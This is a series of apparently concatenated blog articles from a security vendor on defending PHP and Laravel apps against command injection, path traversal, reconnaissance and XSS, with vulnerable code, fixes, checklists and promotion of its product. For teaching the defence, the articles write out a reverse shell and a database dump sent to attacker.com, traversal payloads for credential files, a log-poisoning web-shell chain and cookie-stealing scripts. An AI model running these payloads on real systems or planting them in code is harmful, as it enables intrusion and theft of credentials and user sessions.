Open a reverse shell — persistent access:

bash -i >& /dev/tcp/attacker.com/4444 0>&1

This opens a persistent connection from your server to the attacker's machine. They type commands on their end. Your server executes them. They now have an interactive terminal on your server — from anywhere in the world.

Exfiltrate your entire database:

mysqldump -u root -pPASSWORD database | curl -X POST attacker.com/receive -d @-

All of this from one unsanitized input reaching shell_exec().

The PHP Functions That Create This Risk

Image processing:

// Dangerous
$file = $_POST['filename'];
shell_exec('convert ' . $file . ' thumbnail.jpg');

PDF generation:

// Dangerous
$url = $_GET['url'];
shell_exec('wkhtmltopdf ' . $url . ' output.pdf');

Network diagnostic tools:

// Dangerous
$host = $_GET['host'];
$result = shell_exec('ping -c 4 ' . $host);
echo $result;

Ping tools are one of the most common places command injection appears in PHP applications. Developers build a network diagnostic feature and forget the host parameter goes directly into a shell command.

ZIP file creation:

// Dangerous
$name = $_POST['archive_name'];
shell_exec('zip -r ' . $name . '.zip /var/www/storage/uploads/');

The Wrong Fixes

Wrong fix 1 — Filtering specific characters:

$file = str_replace(';', '', $_POST['filename']);
shell_exec('convert ' . $file . ' thumbnail.jpg');

The attacker uses && instead of ;. Bypassed instantly.

Wrong fix 2 — Blacklisting known bad characters:

$badChars = [';', '&&', '||', '|', '`'];
foreach ($badChars as $char) {
    if (strpos($_POST['filename'], $char) !== false) {
        die('Invalid input');
    }
}

The attacker uses $() subshell syntax or a newline character. Bypassed.

Blacklist-based filters always fail for command injection for the same reason they fail for SQL injection and XSS — the number of ways to represent shell metacharacters is effectively unlimited. You are playing catch-up against an attacker who has infinite variations. You cannot win that game.

The Correct Fixes

Fix 1 — escapeshellarg() for user-supplied values

escapeshellarg() wraps a value in single quotes and escapes any single quotes within it. This forces the shell to treat the entire value as a single argument — not as a command:

// Safe
$file = escapeshellarg($_POST['filename']);
shell_exec('convert ' . $file . ' -resize 800x600 output.jpg');

If the attacker sends photo.jpg; cat /etc/passwd the function produces:
'photo.jpg; cat /etc/passwd'
The shell treats the semicolon as part of the filename string — not as a command separator. The injection fails.

Use escapeshellarg() for every individual user-supplied argument that reaches a shell function. It is the most important single function in PHP for command injection prevention.

Fix 2 — escapeshellcmd() for the full command

escapeshellcmd() escapes shell metacharacters in a complete command string. It is less targeted than escapeshellarg() and should not be used as a substitute for escaping individual arguments.

The correct pattern is: use escapeshellarg() on each user-supplied value, and optionally use escapeshellcmd() on the full command string as an additional layer.

Fix 3 — Avoid shell functions entirely

The strongest fix is not calling shell commands at all. Most things developers use shell commands for have PHP library alternatives:

Instead of calling ImageMagick via shell:

// Dangerous
shell_exec('convert ' . $file . ' thumbnail.jpg');

// Safe — PHP's Imagick extension
$imagick = new Imagick($file);
$imagick->resizeImage(800, 600, Imagick::FILTER_LANCZOS, 1);
$imagick->writeImage('thumbnail.jpg');

Instead of calling zip via shell:

// Dangerous
shell_exec('zip -r archive.zip ' . $directory);

// Safe — PHP's ZipArchive
$zip = new ZipArchive();
$zip->open('archive.zip', ZipArchive::CREATE);
$zip->addFile($filepath, basename($filepath));
$zip->close();

If PHP has a native library for what you need — use it. Shell commands should be a last resort.

Fix 4 — Array-based process execution

When you must run external commands pass arguments as an array rather than a string. When PHP receives an array it passes arguments directly to the operating system without invoking a shell interpreter. No shell means no shell metacharacter parsing. No parsing means no injection.

// Dangerous — string goes through shell
shell_exec('convert ' . $file . ' output.jpg');

// Safe — array bypasses shell entirely
$process = proc_open(
    ['convert', $file, '-resize', '800x600', 'output.jpg'],
    [1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
    $pipes
);

The difference is fundamental. A string command goes through /bin/sh which interprets every metacharacter. An array command goes directly to the kernel which treats every element as a literal argument.

Fix 5 — Whitelist before any shell call

If you must use shell commands with user input validate against a strict whitelist before the input reaches any shell function:

$allowedFiles = ['photo1.jpg', 'photo2.jpg', 'photo3.jpg'];
$file = $_POST['filename'];

if (!in_array($file, $allowedFiles, true)) {
    die('Invalid file.');
}

shell_exec('convert ' . escapeshellarg($file) . ' thumbnail.jpg');

Whitelist first. Escape second. Both layers together.

Laravel and Command Injection

Laravel 10+ provides a Process facade for running external processes safely:

use Illuminate\Support\Facades\Process;

// Safe — array arguments bypass shell interpretation
$result = Process::run(['convert', $filename, '-resize', '800x600', 'output.jpg']);

if ($result->successful()) {
    // process the output
}

When you pass an array of arguments the Process facade passes them directly to the operating system without going through a shell interpreter. Shell metacharacters in arguments have no effect because there is no shell parsing them.

This is the correct way to run external commands in Laravel. No shell string. No injection risk.

The disable_functions Safety Net

PHP's php.ini allows you to disable dangerous functions entirely:

; php.ini
disable_functions = exec,shell_exec,system,passthru,popen,proc_open

If your application does not need to execute shell commands — and most do not — disable these functions at the server level. An attacker who finds an injection point cannot exploit it if the function does not exist.

This is a server-level safety net. It does not replace code-level fixes but limits damage if a vulnerability exists.

The Command Injection Prevention Checklist

For plain PHP:

Never concatenate user input directly into shell command strings
Use escapeshellarg() on every user-supplied argument before it reaches a shell function
Use array-based process execution with proc_open() instead of string commands where possible
Use PHP native libraries instead of shell commands wherever they exist
Validate user input against a strict whitelist before any shell call
Disable unused shell functions in php.ini with disable_functions
Never rely on blacklist-based character filtering for command injection prevention

For Laravel:

Use the Process facade with array arguments — never string commands
Validate and whitelist any user-supplied values before passing to Process
Disable shell functions in php.ini if your application does not need them
Use Laravel's native file handling, image processing, and archive libraries before reaching for shell commands

What Was Hitting a Live PHP App Last Week

Last week Kriosa blocked 306 attacks on a live PHP application. Several of those were command injection probes — automated scanners sending payloads that appended system information commands, file-reading operations, and subshell expressions in file parameters, URL fields, and form inputs.

Here is what one of those attempts looked like in the Kriosa dashboard:

![Command injection is one of the most dangerous vulnerabilities in PHP because a single unsanitized argument reaching a shell function can lead to full server compromise.

In this article, you'll learn:

What command injection is and how it works
Why functions like exec(), shell_exec(), system(), and passthru() are high risk
Common attack techniques and real-world vulnerable code patterns
Why blacklist-based filtering fails
How to prevent command injection with escapeshellarg(), escapeshellcmd(), input validation, and safer alternatives
Secure approaches for both plain PHP and Laravel applications
A practical prevention checklist you can apply immediately

Whether you're building PHP applications from scratch or maintaining Laravel projects, understanding command injection is essential to protecting your applications from one of the most severe classes of web vulnerabilities.

Feedback, questions, and alternative approaches are always welcome in the comments.
](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/s063bttr5v19w8d34e9k.png)

The dashboard shows not just that the request was blocked — but why. Which features of the request triggered the ML model. What the confidence score was. What attack category it matched.

Most middleware block silently. Kriosa shows you the reasoning.

If you are running a PHP or Laravel app right now, the same automated scanners that hit this application are hitting yours. The question is whether you can see it when it happens.

Try it free: kriosa.com

Install it with Composer, then drop this in at the top of your entry point:

<?php
// After Composer installation
require_once 'vendor/autoload.php';
$apiKey = getenv('KRIOSA_API_KEY') ?: 'YOUR_API_KEY_HERE';
try {
    $kriosa = new Kriosa($apiKey, [
        'timeout'     => 3,
        'debug'       => false,
        'fail_closed' => false,
        'show_badge'  => true,
    ]);
    if (!$kriosa->protect()) {
        header('X-Kriosa-Blocked: true');
        http_response_code(403);
        exit('Access Denied');
    }
} catch (Exception $e) {
    error_log('Kriosa Security Error: ' . $e->getMessage());
}
// Your application continues safely...

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

What your PHP logs actually look like during a SQL injection attack
Why URL encoding can break PHP security checks
The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Parameterized queries — the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app and what to hide
File upload security in PHP and Laravel
Path traversal in PHP — how ../ escapes your application
This article — command injection in PHP and when exec() becomes an attack surface.

Path Traversal in PHP — How `../` Escapes Your Application

Nchiminyi — Founder, Kriosa — Tue, 28 Jul 2026 07:02:00 +0000

Originally published on Medium
One unsanitized file path is all an attacker needs to read your database credentials, your SSH keys, or your entire codebase.

This is the eighth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security the file that isn't what it claims to be

Every article in this series follows the same principle understand the attack before you try to stop it.

Path traversal is no different. And it is one of the most quietly dangerous vulnerabilities in PHP applications because it hides inside features that look completely legitimate file downloads, template loading, document viewers.

What Path Traversal Actually Is

Path traversal is an attack where an attacker manipulates a file path to access files outside the directory your application intended to serve.

The attack uses ../ which in any operating system means "go up one directory level." By chaining multiple ../ sequences an attacker climbs up the directory tree and accesses files your application was never supposed to touch.

It does not require a login. It does not require special tools. It requires one unsanitized file path and a browser.

The Attack in Plain Terms

Your application has a file download feature:

$filename = $_GET['file'];
$filepath = '/var/www/storage/files/' . $filename;
readfile($filepath);

A legitimate user sends:

file=document1.pdf

The path becomes:

/var/www/storage/files/document1.pdf

Clean. Expected. Safe.

An attacker sends:

file=../../config/database.php

The path becomes:

/var/www/storage/files/../../config/database.php

Which resolves to:

/var/www/config/database.php

Your database credentials just left the server.

Going Further Up the Tree

An attacker does not stop at your application directory. They keep climbing:

file=../../../etc/passwd

Resolves to:

/etc/passwd

On Unix-like systems, /etc/passwd is typically world-readable and lists local user accounts. From there an attacker maps users, identifies privilege levels, and plans their next move.

More dangerous targets:

../../../var/www/.env              — your Laravel environment file
../../../proc/self/environ         — server environment variables
../../../var/log/apache2/access.log — server access logs
../../../home/ubuntu/.ssh/id_rsa   — SSH private key

Each one of these is a complete breach on its own.

How Attackers Bypass Basic Filters

You already know about URL encoding from article 2. Attackers use it here too.

A simple filter that strips ../ gets bypassed immediately:

// This fails
$filename = str_replace('../', '', $_GET['file']);

An attacker sends ....//. After stripping ../ from the middle it becomes ../. The traversal still works. The filter protected nothing.

Encoded variations bypass strpos checks:

%2e%2e%2f       — URL encoded ../
%2e%2e/         — partially encoded
..%2f           — partially encoded
%2e%2e%5c       — Windows path separator
....//          — double sequence evasion

A check looking for the literal string ../ misses every one of these. This is why string-based filters always fail for path traversal they match representations, not what the path actually resolves to.

The Four PHP Functions Most Vulnerable to Path Traversal

1. readfile()

readfile('/var/www/storage/files/' . $_GET['file']);

Reads and outputs file content directly. An attacker reads any file the web server user has permission to access.

2. file_get_contents()

$content = file_get_contents('/var/www/templates/' . $_GET['template']);

Returns file content as a string. Same risk as readfile() any readable file on the system is accessible.

3. include() and require()

include('/var/www/views/' . $_GET['page'] . '.php');

This is the most dangerous case. Not only can the attacker read files if they can get PHP code into a readable file first and then include it, they achieve Remote Code Execution. This chained attack is called Local File Inclusion and it turns a read vulnerability into a full server takeover.

4. fopen()

$handle = fopen('/var/www/uploads/' . $_GET['filename'], 'r');

Opens a file handle for reading. Same risk as readfile().

Path Traversal vs Local File Inclusion

These two terms are related but describe different levels of severity.

Path traversal is the ability to read files outside the intended directory. The attacker reads your .env file, your database config, your SSH keys. Serious damage. Confidential data exposed.

Local File Inclusion happens when path traversal is combined with include() or require(). The attacker does not just read files they execute PHP code. This turns a bad vulnerability into a complete server takeover.

The LFI attack chain works like this:

An attacker knows your server logs User-Agent headers. They send a request with a PHP payload as their User-Agent:

User-Agent: <?php system($_GET['cmd']); ?>

This gets written into your server access log at:

/var/log/apache2/access.log

Now they use path traversal to include the log file:

page=../../../var/log/apache2/access.log

Your server executes the PHP code that was injected into the log. Whether this succeeds depends on the server configuration, log file permissions, and how the application includes the file.

This is why include() with user-controlled input is one of the most dangerous patterns in PHP. Path traversal reads files. LFI executes them.

The Wrong Fixes

Wrong fix 1 — Stripping ../:

$filename = str_replace('../', '', $_GET['file']);

An attacker sends ....//. After stripping ../ it becomes ../. Bypassed.

Wrong fix 2 — Checking for ../ with strpos:

if (strpos($_GET['file'], '../') !== false) {
    die('Invalid path');
}

An attacker sends %2e%2e%2f. Your check never sees ../. Bypassed.

Wrong fix 3 — Using basename() alone:

$filename = basename($_GET['file']);
readfile('/var/www/storage/files/' . $filename);

basename() strips directory components and returns only the filename. This prevents traversal but breaks any feature that serves files from subdirectories. It works for flat file structures but is not a complete solution. basename() should be viewed as an additional safeguard, not a replacement for proper path validation.

The Correct Fixes

Fix 1 — realpath() validation

realpath() resolves the actual absolute path after processing all ../ sequences and symbolic links. By the time realpath() is called, PHP has already received the decoded path from the HTTP request. realpath() then resolves the resulting filesystem path, eliminating . and .. segments and resolving symbolic links.

$baseDir = realpath('/var/www/storage/files');
$requestedPath = realpath($baseDir . '/' . $_GET['file']);

if ($requestedPath === false) {
    http_response_code(404);
    die('File not found.');
}

if (strpos($requestedPath, $baseDir . DIRECTORY_SEPARATOR) !== 0) {
    http_response_code(403);
    die('Access denied.');
}

readfile($requestedPath);

Why this works:

realpath() resolves the full path including any ../ sequences
If the file does not exist realpath() returns false caught immediately
strpos($requestedPath, $baseDir . DIRECTORY_SEPARATOR) checks that the resolved path still starts with your intended base directory
If it does not the traversal moved outside the allowed directory access is denied
DIRECTORY_SEPARATOR ensures the check works correctly on both Linux and Windows systems

Fix 2 — Whitelist approach

For a known set of files never accept a filename from user input at all. Accept an identifier and map it to a filename in your code:

$allowedFiles = [
    'invoice'  => 'invoice_template.pdf',
    'receipt'  => 'receipt_template.pdf',
    'contract' => 'contract_template.pdf',
];

$fileKey = $_GET['file'] ?? '';

if (!array_key_exists($fileKey, $allowedFiles)) {
    http_response_code(404);
    die('File not found.');
}

$filepath = '/var/www/storage/files/' . $allowedFiles[$fileKey];
readfile($filepath);

The attacker never controls any part of the file system path. They send file=invoice and your code looks up the mapping. No traversal is possible because user input never touches the path directly.

This is the strongest fix when you have a known set of files. Use it wherever possible.

Fix 3 — PHP open_basedir

PHP has a configuration directive that restricts which directories PHP is allowed to access:

; php.ini
open_basedir = /var/www/storage/files/:/tmp/

With this configured any attempt to access a file outside the specified directories produces a PHP error even if the traversal successfully constructs the path. This is a server-level safety net that limits damage if application-level validation fails.

It does not replace application validation. It is an additional layer underneath it.

Laravel Path Traversal

Laravel's Storage facade provides a safer abstraction for file operations, but user-controlled paths should still be validated and authorized:

// Safer — Storage facade reduces common mistakes
$content = Storage::disk('local')->get($filename);

But raw PHP file functions bypass this protection completely:

// Dangerous — raw function with user input
$content = file_get_contents(storage_path($filename));

And Laravel's response helpers pass paths directly to PHP you must validate before calling them:

// Validate before passing to response()
$baseDir = realpath(storage_path('app/files'));
$requestedPath = realpath(storage_path('app/files/' . $filename));

if (!$requestedPath || strpos($requestedPath, $baseDir . DIRECTORY_SEPARATOR) !== 0) {
    abort(404);
}

return response()->file($requestedPath);

The Storage facade helps reduce common mistakes, but it does not remove the need to validate and authorize user-controlled paths. Raw PHP file functions require the same care.

The Path Traversal Prevention Checklist

For plain PHP:

Never concatenate user input directly into file paths
Use realpath() to resolve paths and validate they stay within the intended base directory
Use DIRECTORY_SEPARATOR in path comparisons for cross-platform safety
Use the whitelist approach whenever you have a known set of files
Configure open_basedir in php.ini as a server-level safety net
Never use include() or require() with user-controlled input
Use basename() as an additional safeguard for flat file structures — not as a replacement for proper path validation

For Laravel

Use the Storage facade for file operations it provides a safer abstraction
Validate paths with realpath() before passing to response()->file() or response()->download()
Never pass user input directly to storage_path(), public_path(), or base_path()
Validate and authorize user-controlled paths even when using the Storage facade
Use Laravel's authorization layer to control which users can access which files

Where Detection Fits

Path traversal attempts produce distinctive request patterns. Requests containing ../ sequences, URL-encoded traversal strings like %2e%2e, repeated requests probing different directory depths, and requests targeting known sensitive file locations like .env, passwd, and id_rsa are all behavioral signals that distinguish automated scanning tools from legitimate users.

These patterns appear in your request logs before a successful traversal ever occurs. A security layer that monitors for these patterns gives you visibility into probing activity before it turns into a breach.

Prevention stops the traversal. Detection tells you someone is looking for one.

Both layers together.

"To put this in concrete terms Kriosa blocked 306 attacks on a live PHP application in a single week including path traversal attempts where automated scanners were sending ../../../etc/passwd and ../../../var/www/.env in request parameters. These were not targeted attacks. They were automated tools probing every PHP app they could find."

Try it free: kriosa.com

Install it: composer require kriosa-ai/kriosa-php

see documentation for intergration kriosa.com/documentation.php
**
Built for PHP and Laravel developers who want to understand their security - not just outsource it.
Sleep better we're awake - kriosa**

How Attackers Enumerate Your Laravel App — And What to Hide Before They Map Your Entire Backend

Nchiminyi — Founder, Kriosa — Tue, 21 Jul 2026 19:00:00 +0000

Originally published on medium
Before an attacker exploits your app they study it. Here is what they are looking for and how to stop them finding it.

This is the sixth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked

Every article in this series follows the same principle: understand the attack before you try to stop it.

Reconnaissance is no different. And it is the step most developers never think about.

What Reconnaissance Actually Is

Before an attacker exploits your Laravel application they study it.

They are not guessing blindly. They are systematically collecting information that tells them what framework and version you are running, what routes exist, what errors your app produces, what files are publicly accessible, and where your admin panel lives.

This phase is called reconnaissance. And most Laravel apps make it embarrassingly easy.

The attacker does not need to find a vulnerability to do damage at this stage. They just need your app to answer questions it should never be answering.

What Attackers Are Looking For

1. Debug Mode Left On in Production

This is the single most dangerous information disclosure mistake in Laravel.

When APP_DEBUG=true in your production environment, Laravel shows a full stack trace on every error. That stack trace includes your full file system paths, your environment variables, your database connection details, your application code, and every variable in scope at the point of failure.

An attacker who triggers any error on your application a 404, a validation failure, a missing parameter gets a complete map of your server.

Check your production .env file right now:

APP_DEBUG=false
APP_ENV=production

These two lines are not optional. They are the minimum baseline for any Laravel app handling real user data.

2. Exposed .env Files

Your .env file contains your database credentials, API keys, mail server passwords, payment gateway secrets, and application encryption key. It lives in your project root.

If your web server is misconfigured, this file is publicly accessible:

https://yoursite.com/.env

An attacker who reads your .env file may gain access to database credentials, API keys, application secrets, and other sensitive configuration depending on what is stored there.

This is not theoretical. Automated scanners probe every Laravel site they find for exposed .env files within minutes of the site going live. It is one of the first checks they run automatically.

3. Exposed .git Directory

If you deployed by cloning a git repository and did not remove the .git directory from your web root:

https://yoursite.com/.git/config

An attacker may be able to reconstruct your source code from exposed Git objects. Your complete application logic. Your commit history. Every credential that was ever accidentally committed.

Tools like GitDumper automate this reconstruction entirely. What took a developer months to build can be downloaded in minutes.

4. Framework and Version Fingerprinting

Default Laravel error pages and responses can reveal framework information if they are not customized. HTTP response headers sometimes include framework and PHP version information. The structure of session cookies, route patterns, and form token names all point to Laravel specifically.

Default server responses often include:

X-Powered-By: PHP/8.1.0
Server: Apache/2.4.41

Once an attacker knows your framework and version they know exactly which known vulnerabilities to check, which default misconfigurations are most common, and which attack patterns are most likely to succeed.

Remove these headers. They are free reconnaissance for anyone watching.

5. Laravel Packages and Developer Tool Routes

Laravel packages and developer tools can expose routes that reveal application internals:

/telescope    — Laravel Telescope debugger
/horizon      — Laravel Horizon queue dashboard
/_debugbar    — Laravel Debugbar

If any of these are accessible in production without authentication, an attacker has a window into your queue jobs, database queries, cache operations, mail logs, and exception details.

These tools are invaluable for development. They are serious vulnerabilities in production if left unprotected.

6. Verbose Error Messages

Even with debug mode disabled, careless error handling reveals too much:

// This tells an attacker your table name exists
// and gives them information about your schema
catch (Exception $e) {
    echo "Error querying users table: " . $e->getMessage();
}

A developer who exposes database table names, column names, or file paths in error messages is doing reconnaissance for the attacker.

The correct approach:

catch (Exception $e) {
    // Log everything internally
    Log::error('Database error: ' . $e->getMessage(), [
        'file' => $e->getFile(),
        'line' => $e->getLine()
    ]);

    // Show nothing useful externally
    return response('Something went wrong. Please try again.', 500);
}

Log the full error internally. Show nothing externally. The user does not need to know what went wrong technically. The attacker definitely should not know.

7. Predictable Admin Routes

Automated scanners probe for common admin panel locations on every site they find:

/admin
/admin/login
/dashboard
/administrator
/panel
/backend
/manage
/cp

If your admin panel is at one of these locations with no rate limiting, no IP restriction, and no additional authentication layer, it is being probed constantly without you knowing.

8. Directory Listing

If your web server has directory listing enabled, an attacker can browse your file structure like a file manager:

https://yoursite.com/storage/
https://yoursite.com/public/uploads/

They see every file you have uploaded. Every log file. Every temporary file. Every backup your application has ever generated.

9. Backup Files Left in Public Directories

Developers sometimes create backup files that end up publicly accessible:

https://yoursite.com/index.php.bak
https://yoursite.com/config.php.old
https://yoursite.com/database.sql
https://yoursite.com/backup.zip

Automated scanners check for hundreds of these patterns on every site they probe. A database backup file left in a public directory is a complete data breach waiting to be discovered.

How Attackers Automate This

Reconnaissance is not done manually by a person sitting at a keyboard.

Automated tools scan millions of sites continuously:

Nikto scans for thousands of known vulnerabilities and misconfigurations
Gobuster brute forces directory and file names against wordlists of thousands of common paths
WhatWeb fingerprints web technologies from response headers and page content
GitDumper reconstructs source code from exposed Git objects automatically

These tools run against every IP address they can find. Your site is being scanned whether you know it or not. The question is not whether reconnaissance is happening it is whether your app is giving the scanners useful answers.

What to Hide — The Complete Checklist

Laravel configuration:

# .env — production settings
APP_ENV=production
APP_DEBUG=false

// config/app.php
'debug' => (bool) env('APP_DEBUG', false),

Restrict developer tool access:

Configure Telescope authorization and ensure the dashboard is restricted to trusted users or IP addresses:

// app/Providers/TelescopeServiceProvider.php
Gate::define('viewTelescope', function ($user) {
    return in_array(request()->ip(), [
        '127.0.0.1',
        // your trusted IP addresses
    ]);
});

Apply the same principle to Horizon and Debugbar both should require authentication or IP restriction before any production deployment.

Block sensitive files at the web server level:

For Nginx:

location ~ /\.(env|git|htaccess) {
    deny all;
    return 404;
}

location ~ \.(bak|old|sql|zip|tar|gz)$ {
    deny all;
    return 404;
}

For Apache:

<FilesMatch "\.(env|git|bak|old|sql|zip)$">
    Order allow,deny
    Deny from all
</FilesMatch>

Remove technology headers:

In php.ini:

expose_php = Off

For Nginx:

server_tokens off;

For Apache:

ServerTokens Prod
ServerSignature Off

Disable directory listing:

For Nginx:

autoindex off;

For Apache:

Options -Indexes

Custom error pages that reveal nothing:

// app/Exceptions/Handler.php
public function render($request, Throwable $exception)
{
    if (app()->environment('production')) {
        if ($this->isHttpException($exception)) {
            return response()->view(
                'errors.' . $exception->getStatusCode(),
                [],
                $exception->getStatusCode()
            );
        }
        return response()->view('errors.500', [], 500);
    }

    return parent::render($request, $exception);
}

Rate limit sensitive routes:

// routes/web.php
Route::middleware(['throttle:5,1'])->group(function () {
    Route::post('/login', [AuthController::class, 'login']);
    Route::post('/admin/login', [AdminController::class, 'login']);
});

5 attempts per minute. After that, Laravel applies throttling and returns a 429 response until the limit window resets.

The Deployment Checklist

Run this after every deployment:

APP_DEBUG=false confirmed in production
APP_ENV=production confirmed
.env file not accessible via browser
.git directory not in web root or blocked at server level
Telescope, Horizon, Debugbar behind authentication or IP restriction
Directory listing disabled
Technology headers removed
No backup or temporary files in public directories
Admin routes rate limited
Custom error pages returning generic messages

Where Kriosa Fits

Security configuration reduces your attack surface, but it does not stop attackers from trying. Every public application receives automated scanning sooner or later.

Reconnaissance generates distinctive traffic patterns that differ from normal user behavior.

Rapid sequential requests to non-existent paths. Requests for known sensitive file locations like .env, .git/config, and backup extensions. Requests with scanner user agent strings. Unusual probing patterns against admin route locations.

These patterns are exactly what Kriosa's ML engine detects flagging reconnaissance activity in your XAI dashboard before it turns into exploitation.

You cannot always prevent an attacker from probing your app. You can prevent your app from giving useful answers. And you can know the moment probing starts.

Configuration closes the information gaps. Kriosa watches for the probing behavior.

Both layers together.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php . Kriosa documentation

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: This article — how attackers enumerate your Laravel app and what to hide

XSS Prevention in Laravel — Why {!! !!} Is the Line Between Safe and Hacked

Nchiminyi — Founder, Kriosa — Fri, 17 Jul 2026 19:18:43 +0000

Originaly published on medium
One character difference in your Blade template. One open door for attackers.
This is the fifth article in a series on PHP and Laravel application security.

So far we have covered;

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
Every article in this series follows the same principle understand the attack before you try to stop it.

XSS is no different.

What XSS Actually Is

Cross-Site Scripting — XSS — is an attack where an attacker injects malicious JavaScript into a page that other users then see and execute in their browsers.

The name is misleading. It is not really about crossing sites. It is about injecting scripts into pages that other people visit.

Here is the simplest version

A website has a comment section. A user submits this as their comment.

<script>alert('hacked')</script>

If the website displays that comment without sanitizing it, every user who visits that page sees a popup. That is the mild demonstration version.

The dangerous version looks like this.

<script>
document.location='https://attacker.com/steal?cookie='+document.cookie
</script>

The attacker may steal session tokens, perform actions as the victim, or read sensitive page data depending on the application’s protections. If session cookies are not protected with attributes such as HttpOnly, Secure, and appropriate SameSite settings, an attacker may be able to hijack the user's session without knowing their password.

The Three Types of XSS

Understanding which type you are dealing with changes how you defend against it.

Reflected XSS

The malicious script comes from the current HTTP request usually a URL parameter.

https://yoursite.com/search?q=<script>alert('xss')</script>

If your page displays the query parameter directly without encoding.

echo "Search results for: " . $_GET['q'];

The script executes in the victim’s browser the moment they visit that URL. The attacker tricks a user into clicking a crafted link and the attack runs immediately.

Stored XSS

The malicious script is saved to the database and displayed to every user who visits the affected page. A comment. A username. A profile bio. A product review. Any field that is stored and later displayed is a potential stored XSS vector. This is the most dangerous type because it runs automatically for every visitor without requiring them to click anything.

DOM-based XSS

The vulnerable server-side code may never process the malicious payload because the vulnerability exists entirely in client-side JavaScript. It exploits JavaScript that reads from the URL and writes to the DOM without sanitization. This is the hardest type to detect server-side because it never reaches your PHP or Laravel code.

The Blade Templating Line That Matters

Laravel uses a templating engine called Blade. Blade gives you two ways to output variables in your HTML templates. The difference between them is the difference between a protected application and a vulnerable one.

The safe way double curly braces

{{ $comment }}

Blade automatically HTML-encodes everything inside {{ }}. So if $comment contains.

<script>alert('xss')</script>

Blade outputs it as.

&lt;script&gt;alert('xss')&lt;/script&gt;

The browser displays it as visible text. The script never executes. The attack fails silently.

The dangerous way raw output

{!! $comment !!}

This outputs the raw unescaped HTML exactly as stored. If $comment contains a script tag it executes. Exactly as the attacker intended.

A useful rule of thumb: whenever you type {!! !!}, pause and ask yourself where that data originated. If the answer is "a user", "a form", "the database", or "an external API", raw output should immediately raise suspicion. Most XSS vulnerabilities begin with trusting data that was never actually trustworthy.

That two-character difference — !! — is the line between safe and hacked.

What HTML Entity Encoding Actually Does

When Blade uses {{ }} it converts characters that have meaning in HTML into their safe entity equivalents.

<  →  &lt;
>  →  &gt;
"  →  &quot;
'  →  &#039;
&  →  &amp;

The browser renders these entities as the visible characters but never interprets them as HTML markup. So

&lt;script&gt;

displays as

 <script>

on screen but the browser never treats it as an actual executable script tag.

The characters are present. They just cannot do anything. This is why

{{ }}

is the safe default. The encoding happens automatically. You do not have to think about it as long as you use the correct syntax.

When

{!! !!}

Is Legitimately Needed

{!! !!}

is not always wrong. There are legitimate use cases but they require deliberate judgment.

Rendering HTML you generated yourself from trusted data

{!! $paginationLinks !!}

If your controller built this HTML from your own logic with no user input involved, outputting it raw is fine.

Rendering content from a trusted admin editor

A blog post written by a site administrator in a rich text editor needs raw HTML to display formatting correctly. The key word is trusted content you control, not content submitted by arbitrary users.

Rendering HTML that has already been properly sanitized

If you ran user-submitted content through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing it, outputting it raw can be acceptable. The sanitizer removed dangerous tags and attributes before the content reached your database.

The rule is simple:

{!! !!}

is only safe when you have complete control over the source of the data. The moment user input can influence what appears inside

{!! !!}

you have introduced an XSS vulnerability.

The Four Mistakes Laravel Developers Make

Mistake 1 — Using

{!! !!}

for convenience

A developer wants to display formatted text. They store HTML in the database and use

{!! !!}

to render it. They forget or never considered that the same field accepts input from users.

{{-- Developer thinks: "I need to display the formatted bio" --}}
{!! $user->bio !!}

{{-- Attacker submits bio containing: --}}
{{-- <script>document.location='https://attacker.com?c='+document.cookie</script> --}}

Every user who views that profile page is now at risk.

Mistake 2 — Trusting the database as a safety layer

“The data came from my database so it must be safe.”

Not if a user put it there. Stored XSS lives in the database. The database stores exactly what was submitted. It does not sanitize. It does not encode. It stores and retrieves.

Mistake 3 — Sanitizing on input but not encoding on output

Stripping script tags when the user submits is not reliable protection. Attackers use encoding, alternative event handlers, and HTML quirks to bypass input filters.

<img src=x onerror=alert('xss')>
<svg onload=alert('xss')>
<a href="javascript:alert('xss')">click me</a>

None of these contain the word script. A filter looking for

<script>

misses all of them.

Encoding on output is the reliable defense because it does not matter what the input contained everything gets rendered as text, not as HTML.

Mistake 4 — JavaScript contexts

This is the mistake even careful developers miss.

Blade’s

{{ }}

performs HTML escaping. Inside a JavaScript string, you need JavaScript-safe encoding instead. Using HTML escaping in a JavaScript context can still lead to broken scripts or injection vulnerabilities depending on how the value is used.

{{-- This is NOT safe in a JavaScript context --}}
<script>
var username = "{{ $username }}";
</script>

An attacker submits

a username like "; alert('xss'); "

and the rendered output becomes.

var username = ""; alert('xss'); "";

For JavaScript contexts

use Laravel’s Js::from()

directive instead.

<script>
const username = {{ Js::from($username) }};
</script>

Js::from() properly encodes the value for a JavaScript context. The two encoding requirements are different and require different solutions.

The Complete Safe Pattern in Laravel

Here is what correct output handling looks like across different contexts:

HTML context — always use

{{ }}

<p>{{ $comment }}</p>
<span>{{ $username }}</span>
<div>{{ $userBio }}</div>

JavaScript context always use Js::from();

<script>
const config = {{ Js::from($userConfig) }};
const name = {{ Js::from($username) }};
</script>

HTML attribute context {{ }} is safe.

<input type="text" value="{{ $userInput }}">

For URL attributes, be careful.

<a href="{{ $url }}">link</a>

